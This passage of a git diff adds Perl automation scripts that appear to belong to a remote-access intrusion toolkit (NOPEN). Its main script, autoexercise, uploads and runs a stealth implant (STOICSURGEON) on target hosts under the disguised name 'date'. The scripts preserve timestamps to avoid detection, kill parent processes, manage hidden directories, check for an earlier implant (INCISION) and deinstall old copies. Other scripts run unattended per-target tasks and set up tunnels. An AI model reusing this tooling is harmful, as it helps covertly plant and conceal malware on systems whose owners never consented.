$opetc/autonext.$ext"); + } + }# end if filters for this guy or not +}# end if (! (-e "$optmp/autodone.$nopen_rhostname")) + +# must always do these +# following is first time autonext is used without $$ extension--fewer collisions? + +# In case this is there from previous run, we save it as .NNNN +preservefile("$opdown/hostinfo.$nopen_rhostname"); + +rename("$opetc/autonext.$ext","$opetc/autonext"); + + +sub myinit { + require "../etc/autoutils" ; + # Just in case that first one moved a different autoutils into place + require "../etc/autoutils" ; + use File::Basename ; + $local_ip = "" ; + foreach $int (ppp0,ppp1,eth0,eth1) { + chomp($ip=`ifconfig $int 2>/dev/null | grepip | egrep -v "255|127\.0" | head -1`) ; + last if $ip ; + } + $local_ip=$ip ; + $gsoptions = $ENV{GSOPTIONS} ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + # Some things to do exactly once this op + `mkdir -p $opsniff 2>/dev/null` unless (-d "$opsniff"); + `mkdir -p $opmail/notours 2>/dev/null` unless (-d "$opmail/notours"); + `mkdir -p $opmail/nogood 2>/dev/null` unless (-d "$opmail/nogood"); + @hackdirs = ("/usr/lib/libX.a/bin","/usr/share/.aPa","/usr/share/.aPa/bin"); +}#myinit + +sub getinput { + local($prompt,$default,@allowed) = @_; + local($ans,$tmp,%other) = (); + $other{"Y"} = "N" ; $other{"N"} = "Y" ; + if ($other{$default} and ! (@allowed)) { + push(@allowed,$other{$default}) ; + } + $tmp = $default; + if (chop($tmp) eq "\r") { + #damn ^M's in script files + $default = $tmp; + } + SUB: while (1) { + print STDERR $prompt; + if ($default) { + print STDERR " [$default] "; + } else { + print STDERR " "; + } + chomp($ans = ); + $ans = $default if ( $ans eq "" ); + last SUB if ($#allowed < 0) ; + foreach ($default,@allowed) { + last SUB if $ans =~ /^$_/i ; + } + } + return $ans; +}#getinput diff --git a/Linux/etc/autodoproject b/Linux/etc/autodoproject new file mode 100755 index 0000000..7e677c6 --- /dev/null +++ b/Linux/etc/autodoproject @@ -0,0 +1,125 @@ +#!/usr/bin/env perl +## NOPEN autoport script to upload a file, preserving the +## mtime/atime stamps of the destination directory with +## -ls -n and -touch -t. +$VER="1.0.0.4" ; +#use File::Basename qw(basename dirname); +use File::Basename ; +myinit() ; +############################# +# Do the project specific script +############################# + +sub doprojectname { + $gotone=0; + foreach $name (split(/\n/,`find $opetc/gs.do* | grep -i "etc/gs.do$projectname"`)) { + if (($ip) = $name =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/) { + next unless $ip eq $nopen_myip; + } + `dos2unix $name 2>&1`; + ($output,$nopenlines,@output) = doit("-gs $name"); + $gotone++; + } + + mywarn("No files matching $opetc/gs.do$projectname\* (case insensitive)") + unless $gotone; +} + +doprojectname() unless $skiprest; + +# End with true value as we require this script elsewhere. +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + $skiprest = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs doproject @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs doproject"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + $ext = "$$"; + mydie("bad option(s)") if (! Getopts( "hv" ) ) ; + my $currently = ""; + $currently .= "\t\$projectname = $projectname\n" + if ($projectname); + $currently .= "\t\$nopen_mypid = $nopen_mypid\n" + if ($nopen_mypid); + $currently .= "\t\$nopen_myip = $nopen_myip\n" + if ($nopen_myip); + $currently = "Currently, these variables are defined for $nopen_rhostname:\n\n". + $currently if $currently; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext="Usage: $prog [IP-ADDRESS] + +$prog runs one or more project specific tasks as determined by +the files $opetc/gs.doPROJECT*, where PROJECT is a (case +insensitive) match to the variable: \$projectname{\$nopen_myip} + as defined in: $optmp/noclient.info.\$nopen_mypid +which is made by autoscriptcheck. + +A file called gs.doPROJECT.*IP*, for some IP address, it is only +executed during connections that match both the PROJECT and the IP. + +If an IP argument address is provided, that is used instead of +\$nopen_myip, which is useful if the IP in $opbin/varkeys is not +a match to the one to which we are currently connected. + +SOME NOTES: + \$projectname{\$nopen_myip} is defined to be \"PROJECT\" if + $opbin/varkeys/PROJECT contains a directory ending in + the IP of the current NOPEN server. + + If you have gs.doPROJECT* files in your OPS/userOverrides when + you build, they will automatically get included. + + $prog is run automatically during autodone. + +${currently} +"; + $usethisip = shift(@ARGV); + usage() if ($opt_h or $opt_v or @ARGV) ; + if ($usethisip) { + mydie("Invalid IP $usethisip") + unless ipcheck($usethisip); + $nopen_myip = $usethisip; + } + mydie("\n\n\n$prog requires NOPEN 3.0.3.2 or greater (with autoport)\n") + unless($nopen_autoport); + + if (!($projectname{$nopen_myip})) { + progprint(".\n\n". + "\n${COLOR_FAILURE}\$projectname{$nopen_myip} not defined,\n". + "\t\t\t\t\t\tis $opbin/varkeys complete?${COLOR_NORMAL}\n\n"); + $skiprest=1; + } + else { + $projectname=$projectname{$nopen_myip}; + } + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit + + diff --git a/Linux/etc/autodospecial b/Linux/etc/autodospecial new file mode 100755 index 0000000..eb0635f --- /dev/null +++ b/Linux/etc/autodospecial @@ -0,0 +1,101 @@ +#!/usr/bin/env perl +## +# This should have almost no logic in it. It is just a usage for the dospecial +# capability put in autorunonce. + +$VER="1.0.0.1"; +$| = 1 ; + +myinit() ; + +## END MAIN ## + +sub myinit { + $willautoport=0; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "dospecial"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $usagetext=" +Usage: $prog -h (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session with \"$prog\". + +"; + + $gsusagetext = " +Usage: -gs dospecial -h (usage only) + +dospecial() is a function call within autorunonce. It is a means to allow +unattended automated NOPEN ops. autodospecial serves ONLY to provide this usage. + +There are three ways to drive dospecial() behavior: + +CONFIG FILE ONLY: $opdown/special.NOPEN_IP.cfg + +CONFIG FILE: $opdown/special.NOPENstringTASK.cfg +COMBINED WITH ENV VAR: -lsetenv NOPENstringTASK=content + +PERL AUTOMATION FILES: $opetc/gs.content + $opetc/autocontent + $opetc/gs.content.args (optional) +COMBINED WITH ENV VAR: -lsetenv NOPENstringTASK=content + +NOTE: See sample configuration for syntax inside the CONFIG FILEs: + -lsh cat /current/etc/special.NOPENsampleTASK.127.0.0.1.cfg + +CONFIG FILE ONLY: The commands in this CONFIG file will be done in EVERY +window on that particular IP. + +CONFIG FILE with ENV VAR: This mode allows for different windows on the same +target to behave differently. This mode is enabled when that CONFIG FILE +exists AND the local environment variable NOPENstringTASK is defined. Either +export the desired environment variable at the command line or issue an +-lsetenv command once on the target to set that variable (turning on that +particular configuration for dospecial()), then run -gs auto after -lsetenv to +shift into this particular special mode. This would allow, for instance, one +NOPEN window on a target to run a \"-tunnel 9999 udp\" as soon as that session +is established. Then another window on the same target could use with some +other script or dospecial() call with a different environment variable which +can use the -tunnel window provided by the other dospecial() window. + +PERL AUTOMATION FILES with ENV VAR: If this environment variable is set AND +the two files exist (note that the value of \"content\" comes from the VALUE +of the environment variable), then mydo() is used to call that script. Put +any required arguments in the gs.content.args file. Note that the gs.content +and autocontent files can either be target specific or any mydo() compatible +script already in ./etc, e.g. autodfcheck, autopscheck, etc. (not autolss). + +NOTE: If the \"string\" used in the environment variable name NOPENstringTASK + or that variable's defined value contains an IP address (\".\" is not + valid for environment variable names, so use either \"_\" or \",\" + for each dot), then only hosts with that IP address in their + NOPEN_RHOSTNAME variable will run the dospecial() content depicted + in that CONFIG FILE. + +Usage: -gs dospecial -h (usage only) + +"; + # Handle single help/version args here, otherwise + # give global ARGV to noepndospecial() to handle with Getopts. + $opt_v = $ARGV[0] eq "-v"; + usage() if ($ARGV[0] eq "--help" or + $ARGV[0] eq "-help" or + $ARGV[0] eq "-h" or + $ARGV[0] eq "-H" or + $ARGV[0] eq "--version" or + $ARGV[0] eq "-v"); + undef $opt_v; + # $socket = pilotstart(quiet); Set $willautoport=1 in myinit if this is used +} #myinit + diff --git a/Linux/etc/autoexercise b/Linux/etc/autoexercise new file mode 100755 index 0000000..4d0827a --- /dev/null +++ b/Linux/etc/autoexercise @@ -0,0 +1,1061 @@ +#!/usr/bin/env perl +## + +# TODO: -gs install -s SOMETHING(standalone mode install SOMETHING) + +use File::Basename ; +$VER="1.3.0.4"; + +$| = 1 ; +my $tarball=""; +my ($errcode,$errstring,$success) = (); +my ($allcontent,$allwarning) = (); + +myinit() ; +$tarball = "NULL" if $deinstallonly; +if ($ARGV[0]) { + $warning = "$ARGV[0] does not exist\n\n" if + ($tarball ne "NULL" and + ($ARGV[0] =~ /\// or ! ($ARGV[0] =~ /=/)) + ); +} +unless ($logonly) { + unless ($deinstallonly) { + while (!$tarball) { + my @rest=(); + @rest = ("none") if @ARGV; + $tarball = mygetinput("${warning}What tarball (or ABORT)?",@rest); + if (lc $tarball eq "none") { + $tarball = ""; + last; + } + mydie("User aborted") if $tarball =~ /^a/i; + unless (!$tarball or -f $tarball) { + mywarn("$tarball: File does not exist"); + $tarball = ""; + } + } + } +} + +my ($newhostinfocontent,$extrahostinfocontent, + %newhostinfocontentfile,%extrahostinfocontentfile) = (); +my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus("force"); + + +my $stoicinstalldir = "/tmp"; +$stoicinstalldir = $host_nonhiddenworkingdir if $host_nonhiddenworkingdir; +unless ($logonly or $targetcwd eq $stoicinstalldir) { + my ($ans) = mygetinput("Your working directory is not $stoicinstalldir.\n". + "Do you want to -cd to $stoicinstalldir first?","Y"); + if ($ans eq "y") { + my ($output,$nopenlines,@output) + = doit("-cd $stoicinstalldir"); + mydie("Up-arrow and run it again now that you are in $stoicinstalldir"); + } else { + newhostvar("host_workingdir",$targetcwd); + newhostvar("host_nonhiddenworkingdir",$targetcwd); + } +} + +if ($dotpath) { + my ($newpath) = grep /PATH=/,nopenaddpath("."); + mydie("This is bad, our PATH should start with $targetcwd and instead it is: PATH=$newpath") + unless ($newpath =~ m,^PATH=$targetcwd:,); +} + +my $hostfile = "$opdown/hostinfo.$nopen_rhostname"; +if (! -f $hostfile and -f "$hostfile.0000") { + my @list = split(/\n/,`ls -rt1 $hostfile*`); + rename($list[$#list],$hostfile); +} + +offerabort + ("Normally, NOPEN should have run autodone by this time and\n\n". + " $hostfile\n\n". + "would exist by now. You can abort now and run:\n\n". + " -gs auto new\n\n". + "if you want a complete hostinfo file for $prog to append to.\n\n". + "If you continue, $prog will create a partial hostinfo file." + ) unless -s $hostfile; + +my $count = 0; +$count++ while -e "$optmp/${nopen_rhostname}.install.$count"; +$count-- if ($logsuccess or $logfailure); +my $installdir = "$optmp/${nopen_rhostname}.install.$count"; +if ($deinstallonly and ! -s $tarball) { + $installdir = "$opdir"; +} else { + unless (-d $installdir) { + mkdir $installdir or mydie("Could not create $installdir"); + } + chdir $installdir or mydie("Could not cd to $installdir"); +} + +# This part is only when we have a tarball +dbg("Calling: handle($tarball) if tarball=$tarball or logonly=$logonly;"); +my $progress = handle($tarball) if ($tarball or $logonly); + +## END MAIN ## + +sub handle { + local ($targetball) = (@_); + my $baseball = basename $targetball; +# dbg("In handle(@_)"); + my %toolindex = (); # key=0-N index value=toolname + my $output; + if (!$logonly or $logfailureball or $logsuccessball) { + mydie("Could not properly untar $tarball:\n".`cat $installdir/tar.$baseball.err`) unless + `tar xvjf $targetball 2>$installdir/tar.$baseball.err` or + $targetball eq "NULL"; + progprint($COLOR_NORMAL."\n\n\n". + "Just unpacked in $installdir:\n\n". + `cd $installdir ; find . -name tar.$baseball.err -prune -o -type f -ls | sed "s/.* root //g"`. + "\n\ncat ./etc/VERSION\n". + `cat $installdir/etc/VERSION 2>/dev/null`); + $logsuccess = $logsuccessball if $logsuccessball; + $logfailure = $logfailureball if $logfailureball; + } + my @savepids = ($targetpid); + unless ($logonly) { + if ($targetppid > 1) { + my ($ans) = mygetinput + ("You are connected to a listener on port $targetport with pid $targetppid.\n\n". + "You must orphan yourself from that parent, which $prog will do\n". + "for you if you ontinue (i.e., it will kill your parent PID then start a\n". + "fresh listener).\n\n". + "How do you want to proceed (ORPHAN,ABORT)?", + "ORPHAN","A",ABORT,); + mydie("User aborted") if $ans eq "a"; + if ($ans eq "o") { + doit("kill -9 $targetppid", + "-listen $targetport",); + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus("force"); + mydie("Parent PID ($targetppid) not 1 after killing parent.\n\n". + "Big Twinkie Bad here....") + unless ($targetppid eq $initpid); + sleep 2; +#ELSE WAS the CONTINUE case, now deprecated +# } else { +# push @savepids,$targetppid; + } + } + if ($solaristarget) { + my ($output) = myfiletimesave("/devices/pseudo/mm\@0:kmem"); + offerabort("OUTPUT=$output=\n". + "Something appears to be wrong. $prog just tried to save the\n". + "existing timestamps of /devices/pseudo/mm\@0:kmem with -ls -n,\n". + "but the myfiletimesave(\"/devices/pseudo/mm\@0:kmem\") call just\n". + "executed did not return the expected output. Abort and get help\n". + "unless you're directed to continue","A") + unless ($output); + my $incisiondir = "/platform/SUNW,SystemEngine"; + $incisiondir = "/platform/dvri86pc" + if $inteltarget; + # FOR TESTING, uncomment next two lines: + #doit("mkdir /var/tmp/kilroy;rmdir /var/tmp/kilroy"); + #$incisiondir = "/var/tmp/kilroy"; + my $parentdir = dirname($incisiondir); + my $regexp = basename($incisiondir); + ($output,$nopenlines,@output) + = doit("-strings $parentdir"); + if (grep /^$regexp$/ ,@output) { + offerabort + ("$COLOR_FAILURE\n\n". + "You must investigate this. The above -strings command matched\n". + "$incisiondir so we may have had INCISION on here once.\n". + "\n". + "You should only continue if you know it is safe to install over top\n". + "of whatever is there (say, perhaps, INCISION is gone and we know it is).", + "ABORT", + ); + } + } + } + + my $datefile = "$installdir/up/date"; + $ctrlfile = "$installdir/up/Stoicsurgeon-Ctrl"; + $ctrlfile = "" if $skipctrl; + mydie("$prog only knows how to handle tarballs with both\n\t". + "up/date and up/Stoicsurgeon-Ctrl in them") + unless ($tarball eq "NULL" or + (-f $datefile and (-e $ctrlfile or $skipctrl)) or + ($logsuccessball or $logfailureball)); + my $problems = ""; + unless ($deinstallonly) { + my $versionfile = "$installdir/etc/VERSION"; + my $slipperyscalpelconfigfile = "$installdir/etc/SLIPPERYSCALPEL.config"; + unless ($logonly) { + my ($output,$nopenlines,@output) = doit("=df"); + if (my @bad = grep m,^/*rpool.*\s+/$, , fixdf(@output)) { + offerabort + ($COLOR_FAILURE."\n\nTAKE NOTE!!!\n$COLOR_NOTE\n\n ". + join("\n ",@bad2)."\n$COLOR_NORMAL\n". + "The =df above contains \"rpool\" for the / partition. This usually\n". + "indicates that the target is using zfs. An install here would likely\n". + "SUCCEED, however you$COLOR_FAILURE MUST NOT$COLOR_NORMAL do so. Proceed here at\n". + "your own risk.","A"); + offerabort + ($COLOR_FAILURE."\n\nSERIOUSLY!!!\n$COLOR_NORMAL\n". + "Are you sure? If it goes bad, this will be your problem, not mine.","A"); + mywarn("OK. I suppose you think you know what you're doing.\n". + "I'm crossing my fingers for you!! Good luck.\n". + "Proceeding in 5..."); + sleep 5; + } + } + + # Old script put individual files per implant in ./up/. If + # we do not have the etc/VERSION file use that instead. + $versionfile = "$installdir/up/.*VERSION" unless -s $versionfile; + my ($installedtools,$nopenlines,@output) + = doit("-lsh cat $versionfile"); + my ($solaristoolversion, + $linuxtoolplatform, + $solaristoolplatform, + $freebsdtoolplatform, + $inteltoolplatform, + $sparctoolplatform, + $toolcomment,@comment, + $toolversion, + ) = (); + foreach (@output) { + next if /None vNone/; + s/\s/ /g; + if (-e "$installdir/etc/VERSION") { + ($tool,$toolplatform,$toolversion,@comment) = split; + } else { + ($tool,$toolversion,$toolplatform,@comment) = split; + } + $toolcomment = join(" ",@comment); + $linuxtoolplatform = $1 if + $toolplatform =~ /(\S*linux\S*)/i; + + # SOLARIS + $solaristoolplatform = $1 if + $toolplatform =~ /(\S*(sunos|solaris)\S*)/i; + if ($solaristoolplatform =~ /([\d\.]+)$/) { + $solaristoolversion = $1; + } + + # JUNOS + $junostoolplatform = $1 if + $toolplatform =~ /(\S*junos\S*)/i; + if ($junostoolplatform =~ /([\d\.]+)$/) { + $junostoolversion = $1; + } + + # FREEBSD + $freebsdtoolplatform = $1 if + $toolplatform =~ /(\S*(freebsd)\S*)/i; + if ($freebsdtoolplatform =~ /([\d\.]+)$/) { + $freebsdtoolversion = $1; + } + + # HARDWARE + $inteltoolplatform = $1 if + $toolplatform =~ /(\S*[i3456x]+86\S*)/; + $sparctoolplatform = $1 if + $toolplatform =~ /(\S*(sparc|sun4[umc])\S*)/; + + my $sure = 0; + $problems .= " Mismatch on: $tool $toolversion $toolplatform\n" + if (($linuxtarget and !$linuxtoolplatform) or + ($solaristarget and !$solaristoolplatform) or + ($freebsdtarget and !$freebsdtoolplatform) or + ($junostarget and !$junostoolplatform) or + ($inteltarget and !$inteltoolplatform) or + ($sparctarget and !$sparctoolplatform) or + ($freebsdtoolplatform and $freebsdtargetversion + and ($freebsdtargetversion !~ /$freebsdtoolversion/)) or + ($solaristoolversion and $solaristargetversion + and $solaristoolversion ne $solaristargetversion) or + ($junostoolversion and $junostargetversion + and $junostoolversion ne $junostargetversion) + ); + $toolversion =~ s/^v(ersion|\s)*//; + dbg("INSIDE:$_ + linuxtarget=$linuxtarget + solaristarget=$solaristarget solaristargetversion=$solaristargetversion + solaristoolversion=$solaristoolversion solaristargetversion=$solaristargetversion + inteltarget=$inteltarget + sparctarget=$sparctarget + linuxtoolplatform=$linuxtoolplatform + solaristoolplatform=$solaristoolplatform + inteltoolplatform=$inteltoolplatform + sparctoolplatform=$sparctoolplatform + + freebsdtarget=$freebsdtarget= + freebsdtoolplatform=$freebsdtoolplatform + freebsdtargetversion=$freebsdtargetversion + freebsdtoolversion=$freebsdtoolversion + + + problems=$problems== +"); + push @tools,$tool; + $toolindex[$tool] = scalar @tools - 1; + $toolindex["SLIPPERYSCALPEL"] = @tools - 1 + if ($tools[$i] =~ /SLIPPERYSCALPEL/i); + push @versions,$toolversion; + push @toolplatforms,$toolplatform; + push @comments,$toolcomment; + } + if (-f $slipperyscalpelconfigfile and + defined $comments[$toolindex["SLIPPERYSCALPEL"]]) { + my ($content) = doit("-lsh cat $slipperyscalpelconfigfile | sed \"s/^/\#/g\""); + chomp($content); + $content =~ s,[\r\n],::,g; + $content =~ s,[\#],: ,g; + $comments[$toolindex["SLIPPERYSCALPEL"]] .= " INSTALLED WITH CONFIG$content"; + } + } + dbg(" + linuxtarget=$linuxtarget + solaristarget=$solaristarget + inteltarget=$inteltarget + sparctarget=$sparctarget + linuxtoolplatform=$linuxtoolplatform + solaristoolplatform=$solaristoolplatform + inteltoolplatform=$inteltoolplatform + sparctoolplatform=$sparctoolplatform + problems=$problems= +"); + # TODO: Maybe take all non-stoic possibility out of here? + my $stoicinstall = "@tools" =~ /stoicsurgeon/i; + $stoicinstall++ if $deinstallonly; + if ($problems) { + my $more = "\n(OS version mismatch: $solaristoolversion ne $solaristargetversion)" + if $solaristoolversion ne $solaristargetversion; + offerabort + ($COLOR_FAILURE.$problems."\n\n". + "WE HAVE A PROBLEM HERE.\n$COLOR_NORMAL\n". + "Target OS: $nopen_serverinfo\n\n". + "Target OS does not match one or more tool platforms.\n\n". + "There appears to a conflict here.".$more, + "A" + ); + offerabort + ($COLOR_FAILURE."ARE YOU SURE?"); + } + + $remotename = "date" unless $remotename; + my $domore = " ; echo $?" unless $remotename eq "date"; + while (!$deinstallonly and !$logonly) { + my ($remoteexists,$nopenlines,@output) + = doit("-ls $workdir/$remotename"); + if ($remoteexists) { + my ($ans,$newname) = mygetinput + ("Remote file \"$remotename\" already exists. If you CONTINUE,\n". + "you will have to answer \"YES\" to overwrite that file,$COLOR_FAILURE\n". + "AND THAT FILE DOES NOT APPEAR TO BE OURS!\n$COLOR_NORMAL\n". + "If you enter some other name, $prog will try to use that.\n\n". + "Enter \"CONTINUE\" to continue with the name \"$remotename\", ". + "\"ABORT\" to abort, or\n". + "enter the new name to use: ", + "CONTINUE" + ); + mydie("User aborted") + if ($newname =~ /^a(bort){0,1}$/); + last if $newname eq "CONTINUE"; + $remotename = $newname; + } else { + last; + } + } + my ($hiddendir,$safehiddendir) = (); + my $morecheck = ""; + my $hiddenstr = ""; + unless ($logonly) { + my $solarismore = ""; + $solarismore = "and also save\nthe initial mtime/atimes of /devices/pseudo/mm\@0:kmem." + unless ($host_touchkmem or !$solaristarget); + + + + + offerabort + ("Looks like the target matches the tarball.\n\n". + "About to upload and execute $datefile$solarismore. Last chance to bail.") + unless $tarball eq "NULL" or $deinstallonly; + my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, + $atime,$mtime,$ctime,$blksize,$blocks) + = stat($datefile); + if ($stoicinstall) { + # If no previous use of stoic set this, we do so now from $installdir + unless($stoicctrlfile or $skipctrl) { +#dbg("Calling mystoicctrl(,$ctrlfile);"); + mystoicctrl(noprompt,$ctrlfile); + } + my ($priorhiddendir,$priorsafehiddendir,@prioroutput) = gethiddendir(force); + my $alreadyinstalled = ""; + @errs = (); + unless ($skipctrl) { + my @opts = ("-ACE$workdiropt"); + push(@opts,$seedopt) if $seedopt; + push(@opts,$dopause) if $dopause; + stoicctrl(@opts); + ($hiddendir,$safehiddendir,@output) = gethiddendir(); + $alreadyinstalled = !@errs; + } +dbg("hiddendir=$hiddendir= +priorhiddendir=$priorhiddendir="); + if ($skipctrl and $hiddendir) { + offerabort + ("You are skipping use of Ctrl entirely, yet there is already a hidden\n". + "directory. This means your install will proceed anyway, and if the hidden\n". + "directory there is a valid install, it will self-destruct as a side effect\n". + "of this install, destroying any contents in that hidden directory."); + } + if ($alreadyinstalled) { + if (!$hiddendir) { + my $usedto = "$COLOR_FAILURE (AND YOU USED TO!)" + if $priorhiddendir; + offerabort("This is odd. The above -E and -C Ctrl commands returned no error, (meaning\n". + "they worked) yet you do not have a hidden directory visible$usedto."); + } elsif (!$priorhiddendir) { + offerabort("OK, so it looks as if you were NOT priveleged until just now.\n". + "You should see the above -ls PRIOR to elevation (-E/-C) did NOT show\n". + "the hidden directory, and the one after does.\n\n". + "You can abort now (and figure things out) or\n". + "(if maybe you expected this) continue with the install. If you continue,\n". + "you will have options about what to do with the new install."); + } elsif ($priorhiddendir ne $hiddendir) { + gethiddendir(force,recurse); + offerabort("${COLOR_FAILURE}This is VERY odd$COLOR_NORMAL. You had two different hidden directories, before and after\n". + "the above -E/-C elevation. The above -E and -C Ctrl commands returned no error,\n". + "so they seemed to work, yet your hidden directory is now different???\n\n". + "See above recursive -ls of all possible hidden directories if that helps."); + } + # Other case, where $hiddendir AND priorhiddendir is fine unless they are not the same + } + my $dowhat = ""; + + #mydie("output=$output= alreadyinstalled=$alreadyinstalled="); + if ($alreadyinstalled) { + my ($prompt,$default) = + ("It seems STOICSURGEON is already there (\"-ctrl -EC\" above WORKED).\n\n". + "You have four options (you may answer just the first letter):\n\n". + " DEINSTALL: Use -ctrl -U to completely DEINSTALL previous STOIC.\n". + " This will wipe all content in the hidden dir also.\n". + " UNPATCH : Use -ctrl -n to invoke a partial uninstall (unpatch \n". + " and unload). This removes the software, leaving the hidden\n". + " directory to be re-used by the install to follow.\n". + " CONTINUE : Continue with the install without ANY uninstall of the previous\n". + " STOIC. The old stoic should detect the new one being installed\n". + " and self-destruct before allowing the new one to be installed.\n". + " ABORT : Abort and return to your NOPEN prompt\n\n". + "It is recommended that you DEINSTALL the previous copy first, your default\n". + "option. If proceeding with any install option, $prog will first preserve\n". + "this NOPEN window and any non-init parent pid from being killed by the\n". + "uninstall (using -ctrl -k).\n". + "\n". + "Your choices are DEINSTALL, UNPATCH, CONTINUE and ABORT. Choose:", + "DEINSTALL" + ); + ($prompt,$default) = + ("Confirmed previous installation of STOICSURGEON is still active.\n". + "Last chance to bail before DEINSTALL proceeds.". + "\n\nontinue or bort.","CONTINUE" + ) if $deinstallonly; + my ($ans,$myans) = mygetinput($prompt,$default); + my $elevateerr = ""; + if ($ans eq "a") { + rmctrl(force); + mymydie("User aborted"); + } + ($ans,$myans) = ("d","DEINSTALL") if $deinstallonly; +# dbg("myans=$myans"); + # TODO: If -ctrl fails, upload and use + # /current/install.##/up/Stoicsurgeon-Ctrl instead + stoicctrl("-Azk$workdiropt",$dopause,@savepids); + my $preuninstallhiddendir = $hiddendir; + mydie("-ctrk -k @savepids : FAILED") + if (@errs); +dbg("Before errs=(@errs) nonerrs=(@nonerrs)"); + if ($ans eq "d" or $ans eq "u") { + $dowhat = "DEINSTALL"; + if ($ans eq "d") { + # TODO: stoicctrl would default to a $workdir of the hiddendir, so if + # we did NOT have a $workdir before, we need it to be /tmp now, + # in which case we have to rmctrl. + stoicctrl("-AU$workdiropt",$dopause); +dbg("errs=(@errs) nonerrs=(@nonerrs) + +completeoutput=(\n".join("\n",@completeoutput)."\n) + +"); + } elsif ($ans eq "u") { + $dowhat = "UNPATCH"; + stoicctrl("-An$workdiropt",$dopause); + } +dbg("Now errs=(@errs) nonerrs=(@nonerrs)"); + if (@errs) { + offerabort("$dowhat appeared to fail."); + } +# ($hiddendir,$safehiddendir,@output) = gethiddendir(force); + # We just uninstalled, this is expected to fail + stoicctrl("-zE$workdiropt",$dopause,$targetpid); + $elevateerr = @errs; +# dbg("After -E $targetpid: +#errs=(@errs) +#completeoutput=(@completeoutput) +#elevateerr=$elevateerr= +#"); + $hiddenstr .= " hidden_dir=$hiddendir"; + ($output,$nopenlines,@output) + = doit("-ls $safehiddendir"); +# dbg("second time hiddendir=$hiddendir safehiddendir=$safehiddendir"); + my ($stillinstalled) = grep m,$preuninstallhiddendir, , @output; + unless ($elevateerr and !$stillinstalled) { + offerabort + ($COLOR_FAILURE. + "$dowhat appeared to fail" + #." yo elevateerr=$elevateerr= stillinstalled=$stillinstalled=" + ); + } else { + if ($deinstallonly) { + mydie("$dowhat appears successful. You are now UNCLOAKED/exposed."); + } + offerabort + ("$dowhat appeared successful.\n". + "About to upload and execute $datefile. Last chance to bail."); + } + } + } else { + mymydie("STOICSURGEON does not appear to be there") + if $deinstallonly; + } + } + rmctrl(force) unless $skipctrl; + ($output,$nopenlines,@output) + = doit("-put $datefile $workdir/$remotename"); + + mydie("\n\nUpload failed (wrong size or missing?), you have cleanup to do.") + unless ($output =~ m,-rwx------ .* $size .* $workdir/$remotename,); + + # ASSERT: $remotename is up there, executable and the right size. + + if ($dopause) { + doit("-ls $workdir/$remotename"); + offerabort("OK, here's the pause you asked for. Upload worked.\n\n". + "If you abort here, $remotename will$COLOR_FAILURE STILL BE UP THERE!!"); + } + doit("-cd $workdir") unless $targetcwd eq $workdir; + if ($dotpath) { + ($output,$nopenlines,@output) + = doit("PATH=.:\$PATH $remotename$domore"); + } else { + ($output,$nopenlines,@output) + = doit("PATH=. $remotename$domore"); +# ($output,$nopenlines,@output) +# = doit("$remotename$domore"); + } + # CD back unless we did not cd, or we came from hidden dir. + doit("-cdp") unless ($targetcwd eq $workdir or + $targetcwd =~ m,/\.[a-f0-9]{32}, or + $targetcwd =~ m,/\.tmp[A-Za-z0-9_-]{6},); + } + $success = "SUCCESSFUL"; + if ($logonly) { + $success = "FAILED" if $logfailure or $logfailureball; + } else { + ($errcode,$errstring) = $output =~ / \d\d:\d\d:(\d\d)/; +#dbg("Checking success with my (\$errcode,\$errstring) = \$output =~ / \d\d:\d\d:(\d\d)/; + +#output=$output= + +#output=(@output) + +#($errcode,$errstring) = $output =~ / \d\d:\d\d:(\d\d)/; +#"); + unless ($errcode eq "00") { + $success = "FAILED"; + + + + + my $stoicfile = "$opetc/user.tool.stoicsurgeon.COMMON"; + $stoicfile = "$opetc/user.tool.stoicsurgeon" + unless -e $stoicfile; + my %errstrings=(); + if (-e $stoicfile and open(STOIC,$stoicfile)) { + # This assumes TWO LINE entries in user.tool.stoicsurgeon.COMMON + # for all error codes, with a format matching + my @stoiclines = ; + close(STOIC); + my $lineone = ""; + while (@stoiclines) { + my $line = shift @stoiclines; + next unless ($line =~ /^[ \#]+([0-9]+)/); + my $num =int($1); + $line =~ s/^[ \#\s]*//; + if ($stoiclines[0] =~ /^\#\#\s*([A-Z].*)/) { + chomp($line); + $line .= shift(@stoiclines); + $line =~ s/\#*[ \t]+/ /g; + $line =~ s/\s+$//g; + $line =~ s/[ \t]+/ /g; + } + $errstrings{$num} = "\nTool Comments: FAILED: ERROR CODE $line"; +# $errstrings{$num} .= "Tool Comments:".; +# $errstrings{$num} =~ s/\#*[ \t]+/ /g; +# $errstrings{$num} =~ s/\s+$//g; +# $errstrings{$num} =~ s/[ \t]+/ /g; + dbg("Just set \$errstrings{$num}=$errstrings{$num}="); + } + last if (%errstrings and 